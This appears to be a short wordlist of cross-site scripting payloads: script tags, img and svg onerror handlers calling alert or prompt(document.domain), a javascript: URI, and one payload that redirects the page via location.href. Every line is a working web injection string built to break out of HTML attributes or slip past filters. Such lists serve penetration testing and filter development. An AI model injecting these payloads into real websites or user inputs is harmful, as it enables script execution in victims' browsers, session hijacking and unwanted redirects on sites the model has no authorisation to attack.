"><svg src=x onerror=location.href="/")>;
<%<!--'%><script>alert(1);</script -->
"><script>alert(123);</script>
"><img src=x onerror=prompt(test)>
"><img src=x onerror=prompt(document.domain);>
javascript:alert(1)
<img/src/onerror=alert(1337)>
<style><script>alert(1)</script></style>...